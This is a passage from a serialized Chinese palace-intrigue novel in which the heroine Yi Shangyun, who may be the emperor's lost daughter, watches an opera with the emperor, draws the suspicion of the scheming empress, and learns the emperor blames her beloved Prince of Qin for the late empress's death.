衣上云已然被台上惟妙惟肖的表演亦吸引得入了迷,在灯火的照耀下,眼角里不知何时竟还泛起了点点泪花。 闻声,她顿回过神来稍一思量,颇为流利的回答道:“这出《织女》,讲述的乃是玉皇大帝之七公主,她不恋天宫之繁华,同情人间为葬父而卖身为奴的男子董永。并不惜违抗天庭偷偷私自下凡与其结为夫妻。七公主一夜织得锦绢十匹,使董永的三年长工变为百日。百日期满,夫妻双双回家,正满心期盼着接下来的美好生活。启料玉帝却令七公主重返天庭,就此拆散了天上人间的一段美好姻缘。” 东宁国君听了似是有些吃惊,遂扭头望向她的脸深看了一眼,复又回过头去道:“没想到,你年纪轻轻,知道的竟还不少嘛!以前是不是在哪儿看过这出戏啊?” 许是因为台上此时正在上演的牛郎织女二人难舍难分离的一幕感动了自己,又许是想起了自己的某一段过往,正所谓戏如人生,人生如戏。尔今,痛失爱人的她,竟傻傻分不清台上的那七公主与自己俩人之间有何区别? “殿下,天上人间,你是不是也在某一个角落里静静地看着云儿,等着云儿呢?殿下你放心,云儿绝对不会和你分开,等我……” 心中默默地一念至此,衣上云遂一脸黯然失色地道:“回皇上,云儿只是曾经在一本话本上看到过这个故事而已。” 启料东宁国君竟沉默了片刻,忽然开口问道:“那么,那位属于你的董永呢?他如今,又身在何方啊?” 衣上云顿时回过神来惊诧地看向东宁国君的侧脸,道:“皇上,你……你在说什么董,什么董永?云儿听不懂。” 东宁国君依旧不看她的脸,却是面带着微微笑容,显得异常平静地道:“朕在清心殿里,已经听你在迷迷糊糊之中,唤过无数次‘殿下’二字了!” 说着顿了顿,目光抬起放眼过去瞥了一眼正端坐在一旁,静静看戏着的梅志煊的脸,道:“你的董永……该不会是……” 衣上云紧随着其目光,一落在梅志煊的身上,顿时惊叫了一声:“不是三皇子殿下!” 东宁国君顿又将目光移向了此刻正同样朝着自己方向投来的一副傻笑的二子梅志豪脸上,疑惑地猜测道:“哦,不是老三……那难不成是……” 衣上云一见,脱口便出矢口否认道:“也不是二……” 若是再这样一个个地猜下去,她显然都不知该如此应付了,于是气急败坏地道:“皇上乃九五之尊,莫要再继续如此胡思乱想,乱点鸳鸯谱了!您要是再这样,云儿就没脸再在这里待下去了,云儿不理皇上了,云儿这就先行回清心殿里去,这辈子再也不出门了。” 衣上云一边说着,便转身提步欲要离开。东宁国君顿时出手一把将其用力拽住:“好了好了,朕这不是方才与你一道看戏看得起劲,便想和你开个玩笑嘛!你别生气啊!” 衣上云自然亦是心虚极了,竟不知自己曾经在清心殿里无数次于梦中唤到了秦王轩辕翰。 思量再三,最终,她还是嘟囔着小嘴,缓缓转过身来道:“那皇上保证莫要再拿云儿开这种玩笑了,否则,云儿便真的要生气了!” 于是,东宁国君信誓旦旦认真地道:“朕向你保证,绝对不开你的玩笑了!” 至此,衣上云才似有些安心地再次回到了原位。 这时,东宁国君目光定定地看着台上,脸色忽然变得严肃起来,最后默默地开口分析道:“在表达情感上,董永与七仙女俩人的表现不是一般夫妻的黯然销魂,而是恩爱夫妻别离,显得格外地让人悲伤哀痛。” 衣上云愣愣地亦对着戏台道:“是啊!七公主若是违抗天命不回到天庭,势必会连累到董永的性命。他们之间别离的悲伤,来自于天庭的压力、自己的苦衷和对天庭的反抗、对爱人的无限牵挂,全都深深地融合在了一起。” 说完,垂首一看,竟发现东宁国君不知何时眼角亦泛起了点点泪花,似是心里隐隐有一丝犹豫,终还是柔声试探着问:“皇上这一生,心里是不是也有过这样一个爱而不得的人和一份同样的痛?她是不是……嫡皇后。”阅读书吧 东宁国君听了心里不禁咯噔一下,遂淡淡地轻笑了一声:“呵呵。” 紧接着又道:“爱而不得?!云儿,以后你终会明白,这世上,最让人痛苦不堪的,并不是爱而不得,而是得到之后,又失去了。” 看着东宁国君一谈及嫡皇后时候的反应,显得整个人是那般的孤独又无助,衣上云忙替其开解道:“或许,这个世上,本来就不是所有的感情都是有始有终,有的时候你的放不下,只是你自己不想放下罢了。” 时至今日,或许在东宁国君的心里,自己虽然亦是一个有七情六欲的普通人,但他更深知自己亦是万万黎民百姓的皇上,孰轻孰重,作为一代君王,其使命召唤心里早已明了。 于是,他整理了一下自己此刻纷乱的心情,最后问了句道:“云儿,朕知道你来自于西秦国。你老实告诉朕,在你的心里,也同样住着这样的一个人,对吗?” 定定地看着衣上云的眼睛将这段话说完,衣上云显然无法再继续伪装掩饰和欺骗他。 东宁国君已然从其眼神里得到了自己想要的一切回答,遂回过神去继续看着台上的表演,忽然炸出一句道:“朕若没猜错,你心里所装着的那个人,是不是秦王轩辕翰?” 衣上云顿时惊诧不已地解释道:“皇上,请您相信,云儿绝对不是西秦所派来的细作,云儿之所以千里迢迢由西秦来到东宁,其实是……其实是因为……” 就在这时,东宁国君忽然升起一手来将其打断道:“你不必对朕解释,朕相信你!打从在海边看日出时第一眼见到你,朕从未怀疑过你半分,所以无论你做什么,朕都相信你!” 然衣上云却似是还想对其解释些什么:“皇上……” 东宁国君却已开口转移了话题:“今夜的这出戏,的确没有白看。朕想,嫡皇后娘娘,她一定也是上天眷顾朕,所以赐给朕的仙女吧?!” 衣上云听了,露出淡淡的微笑,亦道:“云儿不知道嫡皇后娘娘她是不是上天派来的仙女?但是云儿却知道,嫡皇后娘娘,她在闭上眼睛的那一刻,一定是想着皇上的。皇上是万万百姓的皇上,百姓们可以没有救苦救难的嫡皇后娘娘,却不能失去了庇护他们的皇上,不是么?” 闻此,东宁国君顿时朝其回过头来怔了住,片刻后问:“云儿,若是日后,你亦同朕一样身陷入这两难的境地之中,你会怎么做?” 衣上云想了一会儿,最后深吸了口气道:“云儿不是帝王,自是不知自己该如何做帝王应做的选择?但是云儿觉得,若是日后也有这般两难的时刻,一定会同嫡皇后娘娘一样,选择天下苍生。” 显然,对她的回答,东宁国君甚是满意和惊喜。 一时间里,俩人就这样面面相觑着,再无一人说话…… 就在这时,立在继后身后的老嬷嬷见了眼前俩人无比异样的眼神,用力擦了擦眼睛,再次极仔细认真地看了看衣上云的脸,忙俯身下去在继后的耳旁朝其禀告道:“娘娘……” 正在全神贯注听戏的继后,听了老嬷嬷的禀告,遂转头望向衣上云的方向,问老嬷嬷道:“这个丫头?她是谁?怎么杵在皇上身边?打哪儿来的?” 老嬷嬷提醒着道:“皇后娘娘难道忘了,这丫头便是那夜里,三皇子从宫外带回来亲自送到清心殿里去的啊!” 继后着实有些想不起了,一边重复一边急急回忆着:“三皇子带回来的?” 老嬷嬷阴沉着脸,语调阴阳怪气地道:“听说咱们皇上很是喜欢那丫头呢!整日里有事儿没事儿总让在身边伺候着……” 终于,继后似是将所有一切都想了起来,恍然大悟道:“你是说,那丫头便是老三那夜里带回来的那个着一袭男装的,长相像极了……” 似是颇为不敢置信地缓缓望向老嬷嬷的脸,一时间里,惊得就连剩下的话都不敢再说出口来。 就在这时,曲终人散。 所有演员一齐从后台里走了出来,朝观众席致敬谢礼,东宁国君亦站起了身来准备离席…… 第四百五十一章:皇家亦是家 “且慢!” 就在东宁国君起身正欲离席之际,忽闻继后立起身来扬声阻止道。 闻声,在座的所有人俱都停住脚步惊诧地将目光投向了继后的身上。 继后在老嬷嬷的搀扶下缓缓走到了东宁国君的身旁,止步将紧随其后的衣上云从头到脚仔仔细细地打量了一遍又一遍。 随之,心中亦愈来愈觉得眼前的这名女子与多年前的嫡皇后,自己曾经的眼中钉,肉中刺长相竟然如此的相像。 最后她开口问道:“你叫什么名字?本宫见你怎么看起来如此眼生?几时进宫里来伺候的?” 说着,将整日里追随东宁国君左右的那年轻侍卫狠狠地瞪了一眼。 侍卫一对上其忽然投向自己冷厉的目光,忙垂首下去避开。 闻此,衣上云不由得顿时一愣,心里暗暗地道:“完了完了,终于还是被这个恶毒的女人给盯上了。” 一时间,周围有些冷场,大家俱都沉默着看着衣上云的脸。 许是夜里台上的戏太过于精彩,直至此时被继后这一质问,人们方才注意到衣上云的存在。 正在这个时候,东宁国君见其呆立着一脸为难地吱不出声来,以为她是被继后的威严所惊吓到,便开口维护其反呵斥继后:“皇后,她是朕特意请来的尊贵的客人,并不是宫里的什么婢女奴才,你且莫要对她……” 启料不等其将话说完,继后竟却不以为然,且一脸严肃地朝其振振有词道:“皇上此言差矣,潜伏于宫中不知其意图的女细作至今都尚还未查出,臣妾自是对于出现在后宫里的任何陌生的脸孔都不能掉以轻心。若是因为臣妾的失职让那居心叵测的细作达到了目的,那臣妾身为这后宫之主,岂不是难辞其咎,罪孽深重!” 闻此,东宁国君的心里忽咯噔一下,他又岂会不知,在这宫中根本就没有什么细作? 所谓的细作一说,只是应了继后的谏言,为了平息那场“亡国预言”所编造出来的一个谎言,寻找一个替罪羔羊而已,竟还枉送搭上了太史令张大人的一条性命。 如果他不同意这么做,这皇宫内外很快便会到处人心惶惶不安。 如此下去,怕是潜伏于各地多年蠢蠢欲动的势力亦会俱都冒出来趁火打劫,使这个国家陷入水深火热,国将不国的危险境地。 一时间,当着宫里那么多人的面,那么多双眼睛所纷纷投来的质问,这个谎言又怎能被自己亲口揭穿?! 而显然,继后竟将那个替罪羔羊的目标放在了衣上云的身上。 他定是不能答应,他要保护她。 一念至此,他不想再对其多做什么解释与纠缠,只定定地看着继后的眼睛,极为认真地说道:“皇后,朕极为肯定地告诉你,朕保证她并不是什么心术不正的女细作。且,朕是天子,朕说她不是,她便不是,不由得你们任何人信或不信,妄加议论。” 说完,他朝着身边正在交头接耳,议论纷纷着的众人扫了一圈后紧接着又对衣上云道:“云儿,还不快随朕回清心殿去。” 衣上云自始至终一句话都未说,只朝众人欠身行一礼,心中对东宁国君颇为感动地道:“是!” 看着东宁国君一行人等浩浩荡荡离去的背影,继后扬声道:“皇上这么做,日后一定会后悔的!” 却是在心里暗暗地盘算着:“哼,想跟本宫斗,门都没有!不管你是谁?最后本宫都一定会叫你生不如死!来日方长,咱们慢慢走着瞧!” 与此同时,心都似是已经提到了嗓门口处的梅志煊与轩辕玥俩人,亦收回了各自一直都目不转睛翘首观望着的目光,互相对视了一眼,终于长长地舒了口气。 乘着继后尚还未发现,俩人悄悄退了出来,离开了戏园。 沿着沉沉夜色里回宫的甬道,轿子最后终于停了下来。 沉默了一路的轩辕玥,在婢女锦兰的搀扶下缓缓下轿,经过梅志煊的身边时忽然驻足停了下来,依旧看也不看他的脸,似是还有些对其不屑一顾的样子。 轩辕玥说道:“将她献给父皇,试图讨父皇的欢心,难道这就是殿下你的目的吗?莫非,自始至终你所导演的一切,这竟然是一场美人计?”520 “玥儿,我……”梅志煊终是一肚子的话却怎么都说不出口来。 轩辕玥等了良久,终是什么解释都没有等到,因为事到如今她已经完全捉摸不透梅志煊对衣上云究竟打的是什么主意? 若是如自己起初之料想,梅志煊已经厌烦了自己,转而钟情于她,却又为何处心积虑地将她送到了东宁国君的身边。 这看起来,可并不像是单纯地为了替衣上云在这偌大的宫中寻求一处稳妥的庇护。 再看方才席间东宁国君与衣上云俩人之间的频频交流与眼神的互动,还有不惜竟当着众人的面与继后发生争吵对其的霸道维护,东宁国君如今显然已甚是喜欢她。 可却不知为何,每次看衣上云的表情,总有那么一点说不出的不对劲。 百思不得其解,最后,她只提醒了一句道:“无论殿下是何目的,她本就不是一个普通的女子,所以不论她是在我西秦还是你们东宁,亦或其他任何的地方,都没有人能掩盖住她的光芒,这是她与众不同的优势,可同时也是她致命的弱点,容易招来妒忌和仇敌。接下来究竟该何去何从?希望殿下能好自为之!” 话一说完,便头再也不回地径自离去,只留下梅志煊一人站在原地里吹着呼呼的北风,心中五味杂陈…… 是夜,清心殿里一片灯火通明。 东宁国君自打从戏园里气呼呼地一回来,便是一通大发雷霆,宫里的每个人都战战兢兢,谨小慎微的小心伺候着。 刚刚将一地凌乱收拾干净,此时,只独独剩下了衣上云一人在殿内侍候。 她站在殿门口,看着此刻端坐于暖榻上的东宁国君依旧深锁着眉头,心中升起无限的歉意来抿了抿嘴唇,打起精神来上前朝其致谢道:“多谢皇上方才对云儿的维护,云儿心中甚是感激不尽。” 东宁国君看似难以解气,忿忿地道:“这个皇后,朕看她这些年是愈来愈不成体统了,今夜竟当着众人的面反驳朕,看来朕已是不能再继续这样睁一只眼,闭一只眼容忍下去了。朕当初既然能立了她,明日便可废了她!” 衣上云忙开口阻止道:“皇上这是说的什么话?皇后乃一国之母,怎能说废就废。况且正所谓是‘家和万事兴’,而家是小的国,国是千万家,皇家亦是家,皇家的事,更要慎重才是!” 闻此,东宁国君顿看向衣上云的脸,竟不知她小小年纪,竟是如此以大局为重,即便方才险些被当了细作处置,依旧能有如此宽大之胸怀。 一室寂静,俩人的目光俱都落在了彼此的眼中,没有人再说一句话。 这时,忽闻门外传来一声禀报道:“皇后娘娘驾到!” 东宁国君方才刚刚缓和了些许的激动情绪,似是又一次被激了起来,但见衣上云对自己摇了摇头,便隐忍着心间的愤怒,冷脸对正迈步进来的继后问:“夜深了,皇后怎么来了?” 继后笑着迎上前去朝其欠身行礼,道:“皇上莫是忘记了,前几日方才答应臣妾,每日都要按时服用臣妾亲手为您熬制的膏滋调理汤么?” 东宁国君忽一回想起,依旧冷声着道:“即便如此,亦无需皇后你亲自送来清心殿啊!” 继后依旧笑着道:“服侍照顾皇上的龙体,是臣妾重中之重的职责,臣妾即使再忙,又岂能疏忽大意了!乘这汤还是热的,皇上理应赶快将其服下才是,凉了可就要伤身了!” 说着,便从与其一道进来的婢女手里捧着的茶盘中将汤碗亲自端起,朝着东宁国君的身边一步一步地踱步过去。 启料东宁国君竟即刻命令将其拦住:“云儿,你杵在那里做什么?还不快去将皇后手里的汤碗接下来呈给朕。” 闻声,衣上云忙疾步上前两步,握住了汤碗的另一边,道:“皇后娘娘仔细烫着,让民女来帮娘娘吧!” 继后顿时对其扬起一脸厌恶,一只金边瓷汤碗,就这样瞬间在俩人的手里暗暗争夺中跳跃了起来。 见到衣上云暗中对自己轻轻摇头,最后,继后还是笑着先松开了手,转念又赞道:“这位姑娘,看起来甚是机灵,难怪如此讨皇上喜欢。” 衣上云将手里的汤碗递到了东宁国君的面前,东宁国君将其接过徐徐饮下。 继后竟忽然开口朝其致歉起来:“方才在戏园里,都是臣妾的错,臣妾不该出言顶撞皇上。可臣妾亦是急于将那个暗藏于宫中心术不正的细作给揪出来,这才一时着急,得罪了皇上和这位姑娘。听说,是这位姑娘在宫外救了皇上,自是不可能加害皇上了。如此看来,臣妾真的是多心了!” 即便自己已低声下气至此,怎料东宁国君依旧不理她。 这时,继后忽然…… 第四百五十二章:愿以江山,换最后一眼 这时,继后忽然开口炸出一句道:“本宫瞧着,这位姑娘的一娉一笑看起来,怎么和已故多年的姐姐十分那般的相似呢?臣妾深知,多年以来,皇上对姐姐甚是思念,不如,皇上就将这位姑娘收入后宫,以解相思之苦如何?” 冷不防自顾自一边说着,一边竟就这样目光定定地朝着衣上云仔细地盘问了起来:“只是不知姑娘打从哪里来?祖籍何处?本宫好速速命人去操办!” “咳咳咳……” 见此,东宁国君刚刚从衣上云手中接过入口的一口药汤瞬间喷了出来,溅了自己一身,一地,因被呛住,整个人瞬间止不住地咳了起来。 衣上云亦是闻此心中顿时惊愣了一下,但见面前的老国君咳嗽不止,一身凌乱,又紧忙回过神来抽出身上的一条水绿色锦帕,正欲替其擦拭龙袍,东宁国君一把将其夺了过去掩起嘴来。 衣上云便换做一手接住其手里的汤碗,另一手同时替其轻拍着后背,着急关切地道:“皇上慢点儿,皇上您没事吧?” 东宁国君依旧咳个不止,待稍一缓和些,一边朝其摆手,一边安慰其道:“朕没事,放心!” 而立在一旁的继后,却是一动不动地只顾着观察俩人甚是慌乱的表情和反应,心里不知道在暗自思量着些什么? 半晌后,方才开口以像是责怪又没有怎么生气地口气道:“哎呦,瞧这笨手笨脚的丫头,怎么也不知道仔细照顾着点儿,怎么能让皇上亲自动手呢!” 转念,忽又假惺惺地一边说着,一边紧着步伐迈上前去变作柔声起来道:“皇上当心,仔细被呛着了,不如,还是由臣妾亲自来喂皇上吧。” 东宁国君一听,忙开口阻止道:“不必了,夜已经深了,皇后还是赶快回宫去歇着吧,朕这里有云儿侍奉就好。” 继后却似是依旧不甘心,继续央求道:“可是皇上,臣妾……” 东宁国君见其朝自己走了过来,急忙抬起一只手来朝其摆了摆,执意将其拒绝:“你退下吧,朕今儿累了,要歇着了。” 继后顿住步伐,似是还想说些什么,但见东宁国君对自己的态度如此决绝,似是看都不愿再看她,不得已最后只得对其妥协道:“如此,那皇上今儿就先早些就寝,臣妾明日再来亲自服侍皇上!” 嘴上虽然说着,心里却还抱着最后一丝希望,想着东宁国君会忽然反悔,或者至少应该再和她说些什么? 启料东宁国君却终是看都不再看她一眼,更何况说什么话了。 见此,继后也是无奈至极,最后不得已只能忿忿地狠狠瞪了一眼旁边默不作声的衣上云,朝其命令了句道:“好好照顾皇上,否则本宫绝不轻饶。” 衣上云忙朝其曲膝行礼道:“是,皇后娘娘,恭送娘娘!” 至此,继后最后甩了甩衣袖,转身忿忿地离开了清心殿。 继后离开后,过了半晌,见东宁国君似乎终于恢复了平静,衣上云方才收拾了一下凌乱的大殿。 见老国君最后闭目养神只倚在暖榻边歇息,夜虽已深,也几经劝告,却依旧固执地不愿就寝入眠,便无奈地迈步向着门口方向正欲下去端些茶点进来。 走着走着,她忽然情不自禁地缓缓放慢了脚步下来…… 在衣上云的心里,准确来说,是自打她踏进并被留在了这清心殿的那一刻,许多许多的疑问,已经在她的心里浮起又落下,落下复又浮起,如此反反复复了太久太久。 对于自己被告知,如梅志煊所说,自己真正的身份乃是这片灵空大陆上富甲一方的东宁国,最尊贵无比的金枝玉叶,嫡公主。显然,对此她根本就毫无一丝哪怕只是残存的片段记忆也是完全没有的。 若是如此冒然认亲,老国君会不会以为她是伙同梅志煊一道,欲对那个高位图谋不轨呢? 可冥冥之中,她的心里又对那个被身边太多的人传说地尊如神袛一般的女子,又是那般的充满了好奇。 那究竟是怎样的一个奇女子,能让一代君王终其一生都念念不忘,死后那么多年仍能令万民称颂,她,真的有如此伟大的一个生母吗?她,又是因何而遇害的呢? 或许,这一切,就只有眼前的这个男人才能解释得了。 犹犹豫豫间,她好看的眸子里含着丝丝缕缕淡淡的忧伤,微微朝着身后人的方向斜了一下,开口吞吞吐吐地道:“皇上……” 怎料话刚一开口,却被东宁国君挡了回去:“好了,夜深了,你也下去早些歇着吧!”无忧 无奈,被拒绝的她,不得已只能收敛起心间所有的疑惑,默默地答应道:“是。” 可就在脚步正欲迈出门去时,思之又思,她终是咬了咬牙,横下心来忽地转过身去提高了些声音,再次唤了句:“皇上……” “你是不是想问朕,关于嫡皇后的事?” 启料这一次,东宁国君竟似是早已猜到了她许久来忧郁的眼神里所隐藏着的那一细腻心思,居然没有再拒绝她。 一直以来,衣上云的确不止一次地想要问,但又怕一提起来,便会勾起眼前的这个孤寡老人无尽的伤心事,所以每每话到嘴边又默默地咽了回去。 东宁国君深深地吸了口气,复又缓缓吐了出去,最后缓缓睁开眼睛,望着殿内墙上悬挂着的一幅《洛神图》回忆着道:“若曦,她是朕在这个世上见过的最美好的女子,没有其一。” 衣上云缓步上前一听,忽觉地自己像是在哪里听到过这个名字,低声默默重复了句道:“嫡皇后,她的名字……是,若曦?” 老国君微微点头,又深看了眼前静静聆听着的衣上云一会儿,似是惊讶地道:“皇后说的没错,真的是一模一样!那一年,朕刚刚登基,国内便发生了一场几乎要亡我整个东宁的灭顶之灾……” 就这样,静静的大殿里,老国君全神贯注地回忆着,衣上云则坐在案几边,一手支着下巴认真地细听着…… “天无绝人之路,所以云儿,人生中无论发生了多么糟糕的事情,你也一定要好好活着。就像朕一样,始终都不相信,上天会对朕那么残忍。朕和若曦的缘分,表面上虽然种种迹象表明,朕的孩子,早已经随着她的母后去了,可冥冥之中,朕总能觉得,她一定还活着。” 说这句话的时候,东宁国君的眼里俱是满满的温柔,说完将目光最后定在了衣上云瘦小的脸上。 衣上云亦满脸钦佩地深看着老国君的眼睛,心里忽然涌出一股冲动,隐忍着暗自默默地问:“父皇,你真的是云儿的父皇吗?” 而东宁国君的眼中又岂不是满含着希冀,同样在心里问:“是你吗?你真的是西秦国药师之女,不是朕的沧海遗珠?不是若曦的骨血吗?” 而最终,俩人却依旧各自都不约而同地选择了沉默隐忍,只是静静地看着彼此的眼睛。 不知过了多久,终是衣上云先开了口打破了这片宁静,安慰老国君道:“皇上,云儿相信您的公主一定尚还活在人世,所以,皇上你一定要打起精神来,你们一定会父女团聚的。” 老国君听了,不禁愣了一下,忽见一丝忧愁爬上其眉梢,道:“借你吉言,但愿如此吧,愿以江山,换最后一眼。” “愿以江山,换最后一眼。”衣上云不甚明白地重复了一遍。 “朕若能在有生之年,最后见那孩子一眼,就算拿这整个江山来换,朕也毫不犹豫!”似是看懂了她眼里的疑惑,东宁国君信誓旦旦地道。 闻此,衣上云藏在眼底许久的泪水再也忍不住,顺着脸颊滑落了下来,在殿内灯火的照耀下,显得那般地晶莹耀眼。 她一边点头,一边应声道:“会的,一定会得。” 虽然不忍心揭开那层伤疤,此时此刻,衣上云似是本能一般地再也忍不住开了口,蹙眉追问:“皇上,当年嫡皇后娘娘的死,究竟是为何?” “啪!” 哪怕时隔多年,今一忆起,东宁国君依旧咬牙切齿地将一把重重地拍在了身边的案几上,怒吼道:“这一切,皆都因那西秦秦王,他就是害死若曦的真正凶手,朕永生永世都与那黄口小儿势不两立!” “秦王?秦王轩辕翰,西秦璟帝唯一的兄弟吗?”闻此,衣上云惊呆了。 待一反应过来,忙替其辩解:“可世人皆称颂西秦秦王最是爱民如子,又怎么会是害死嫡皇后娘娘的凶手呢?” “哼!”东宁国君冷哼了一声,恨恨地道:“那只不过是那虚伪的秦王所施的障眼法罢了,事实上他心狠手辣,早就在西秦朝堂上笼络各大朝臣,欲想谋权篡位!” 话音刚落,衣上云顿立起身来扬声脱口反驳道:“你胡说,这不可能,秦王殿下他不是那样的人。” 东宁国君见她如此激动,缓缓起身来走到其面前将一手按在她的肩头,道:“傻丫头,你终是太天真了。在这世上,没有一个男人能拒绝至高无上的权利和坐拥这整个天下的巨大诱惑,我不能,秦王,他亦不能!” 衣上云眼里噙着泪水,看着老国君的脸…… 第四百五十三章:我们都一样 “傻丫头,你终是太过天真了。在这世上,没有一个男人能拒绝得了那至高无上的权利和坐拥这整个天下的巨大诱惑,我不能,秦王,他亦不能!” 衣上云眼里噙着泪水,看着老国君字字认真无比威严的脸,被老国君按坐了下来,口中却仍坚持道:“或许皇上您说的都对,可是,云儿始终都相信殿下,殿下他,绝不是那样的人。” “不是?”老国君不屑的顿将目光射向衣上云的脸,质疑道。 衣上云对于自己心中挚爱当然深信不疑,她坚定地道:“秦王殿下,他表面上看似一个极为冷酷无情之人,实则内心深处里却最是柔软良善。曾几何时,云儿在西秦国的日子艰难曲折如履薄冰。每次危急时刻,都是殿下他及时赶到帮云儿度过难关。殿下他日夜操劳,时刻心系着百姓疾苦,故而深得西秦百姓的爱戴。试问如此有情有义,心怀天下的一个人,他,他怎么可能会是害死嫡皇后娘娘的凶手!” 她一边难过地回忆,一边说着。即便是他已经不在人世了,她又怎么可能任由别人随意诋毁自己所挚爱之人。 看到衣上云与秦王之间的过去果然非同一般,东宁国君看着此时眼前满腹黯然神伤的女子,忽觉她像极了当年痛失皇后的自己。 随之,他在心里默默地叹息了一声,意味深长地道:“有些事,朕现在也不知该如何与你解释,但是,自从嫡皇后前往西秦一行遇难之后,朕派了众多亲信去西秦查证,结果都是嫡皇后的死,的确是因了秦王无疑。所以,与你一样,朕的嫡皇后,亦是朕这辈子的挚爱。你的感受,朕都明白,那同样,朕的愤怒,你亦应都懂,我们都一样!” 衣上云当然知道老国君在说什么,可她就是抗拒着不愿接受这个事实,直摇晃着脑袋垂首下去哭喊着说:“云儿不明白,云儿不懂,云儿只知道这不可能,这绝不可能!皇上一定是哪里弄错了,一定不可能是秦王殿下,一定不是!” 然任凭她心里无论有多坚定,当忽抬头一对上老国君虽然只对自己面带着微微慈祥的笑容盯视着她的眼睛,从那与生俱来的威严和似是已经刻入骨髓里的深邃里所透露出来的,却是对自己内心所认定的满满的质疑。 尽管自己从未见过嫡皇后娘娘,那个很可能就是自己真正的生母之人,可冥冥之中,她只觉嫡皇后与那个即便如今已经与自己阴阳相隔而她依旧尚还深爱的男人,他们俩个是那般的相似,他们都是心怀天下,深受万民敬仰之同一类人。 她自是不能接受自己所深爱的人,会成为自己不共戴天的弑母仇人。 可看着眼前的这个孤独的老人,从他的言语和眼神里,不知道为什么,自己心里的防线却在一点一滴地崩塌,就连说话的声音最后也变得愈来愈小。 这段日子以来,自己与东宁国君朝夕相处,虽然她至今都毫无证据能证明自己的身份,可不知为何,一种奇妙的感觉已经不知不觉地在俩人之间悄悄升起,伴随着一种坚固的信任感也在俩人之间产生。她知道,东宁国君的言行一向谨慎,他不可能会随便说出这句话来。 犹豫再三,衣上云默默抬起头来用一种近于哀求般的眼神,隐忍着内心极大的悲痛说道:“可,可无论如何,秦王殿下,他如今已然死了,难道即便是如此,皇上您还是不能原谅他吗?” “原谅他?” 闻此,东宁国君缓缓收回搭在她肩上的手,侧过身去恨恨地道:“哼……方才朕已说过,朕与那黄口小儿之间的仇恨,是永生永世都无法磨灭的。且不说他北烈一役究竟是真死还是怕死做了缩头乌龟,哪怕即使他是真的已经死了化成灰,总有一天,朕也一定要御驾亲征,踏平西秦,就算是掘地三尺,亦要让他死都不能得以安歇。” “皇上……” 闻此,衣上云急呼一声,她竟不知,因为失去了嫡皇后,老国君心里的恨竟如此之深,似是还想再说些什么,却被其举起一手来厉声决绝阻止道:“不要再说了,朕意已决,不必再劝!” 说完,老国君双手负后着阖上了双眸,不再说话。 衣上云对着其看似孤独极了的背影默默地抿了抿嘴唇,缓缓起身来转身落寞地走出了清心殿。 衣上云离开后,东宁国君默默地睁开了眼睛转过身去,朝着其离去的背影怔怔望了许久许久,像是有什么想说又不能说出口的话,一脸悠长,最后只欲言又止了一句:“若曦,她的品性为何与你如此相像,她到底是不是……” 是夜。 夜深人静,在这富丽堂皇偌大的皇宫另一处,继后华丽温暖的寝宫里,一盏孤灯随风摇曳着。 “唉……” 躺在榻上几经辗转反侧,继后终还是久久难以入眠,最后在发出长长的一声叹息之后,缓缓起身掀开了红色的纱幔,合衣从榻上走了下来。 “这才不过刚刚丑时而已,皇后娘娘怎么就不睡下榻了?” 听到殿内的动静声,守夜的老嬷嬷手里掌着一盏灯,急忙快步走进来一边过去燃起殿内的几盏明亮的烛火,一边纳闷地关切问,她自是不知继后根本至今都尚都还未合眼半分。 继后自顾自朝着梳妆台前落座下,望着菱花镜中明显已不再年轻的那张脸瞧来瞧去端详了许久,一脸忧郁地道:“色衰而爱驰,这果然是天下所有女人俱都同样的悲哀!” 老嬷嬷一听,心里不禁愣了一下,遂转步朝其所落座的方向近身了过去伺候,一边替其添上一件厚厚的凤纹斗篷,一边疑惑地问:“皇后娘娘为何忽然说这样的话,娘娘乃后宫之主,一国之母,身份尊不可及,怎能和天下那些庸脂俗粉相比较?” 继后对着面前菱花镜中的面孔继续端详了一会儿,暗自发出一阵冷笑来,道:“本宫的确是这泱泱东宁大国之国母,亦是这偌大的皇宫里的后宫之首,然终其不过也只是一个普通的女人,心底里渴求丈夫的温度与疼爱。可如今,在自己的丈夫面前,却不及那些个整日里奴颜婢膝的脸孔。如今,她竟看都不想看本宫一眼。你说,这难道不是本宫的悲哀吗?” 老嬷嬷一边替其按摩太阳穴助其安神,似是听明白了其话里的意思,稍一思量便开口劝慰道:”皇后娘娘可是还在为方才的那个乳臭未干的臭丫头而烦心?” 见其沉默不语,想着应是自己猜对了,老嬷嬷便顺着话茬继续道:“依老奴看,其实娘娘根本就不必将那个丫头放在心上!就方才娘娘这一试探,看皇上的反应,似乎对那个丫头并无皇后娘娘所想的那个意思。更何况,那丫头在清心殿里近身侍奉也已经有段时日了,皇上若是对她有什么其他的心思,怕是早就该已经有所册封了才是。尔今没有任何风吹草动传出,可见无非就是皇上得了一个使唤的奴才,如此,娘娘又何必杞人忧天呢?” 继后一听深吸了口气,缓缓阖上双眸一边养神,一边道:“嗯,本宫倒是也看出来了。可话虽如此,那丫头始终都是个来历不明的主儿,本宫这心里总是觉得七上八下的,尤其是她那长相,和那贱人活脱脱就是一个模子里印出来的,本宫不得不提防着点儿她!” 老嬷嬷似是亦同意继后所说,点了点头,一边继续替其按摩,一边问:“那这膏滋调理汤,是否还要继续往清心殿里送呢?” 继后似是想都没想,双眼“倏”地睁了开来,脱口即出:“送,当然要送?那个位置,本宫绝对不允许有任何闪失。” “是!”老嬷嬷的脸上露出了一丝犹豫,却仍然答应道。 继后又提醒了句:“对了,以后送药的时候,尽量避开着点儿那个丫头,本宫瞧那丫头心思过于缜密细腻,千万莫要引起不必要的麻烦!” 老嬷嬷亦看出其并非一般普通的婢女,甚是机灵聪明,遂一暗想,忧心地道:“那个丫头,留着她,始终都是个祸害!” 继后深深地吸了口气,悠悠道:“不急,很快,本宫自会将这些障碍一一都清除。在这世上,凡是本宫想要得到的,绝对没有任何人能阻止得了。” 偏殿里,一盏昏暗的烛火照耀下。 衣上云一头乌黑的长发随意披散着,独自一人忧心忡忡地坐在殿内的案几边上,单手支着下巴,自言自语地道:“西秦国药师之女……东宁皇室的沧海遗珠嫡公主……我究竟是谁?这所有一切,到底是怎么回事?为什么每次与皇上在一起,我都会有一种莫名的亲切感,难道这便是冥冥之中的血缘亲情所致?” 显然,她始终都是百思不得其解,因为一直以来,她都深知自己的记忆不知为何,本就凌乱不堪。 然忽地,有一个想法油然而起…… 第四百五十四章:倚梅轩前遇险 衣上云目光呆呆地对着案几上的一盏昏黄的烛火,自言自语道:“看来,我还是应该先回西秦一趟。或许,这其中所有的一切未解之谜,只有父亲才能解答,关于我的生母其真实身份,从小到大,他一定对我隐瞒了很多很多……” 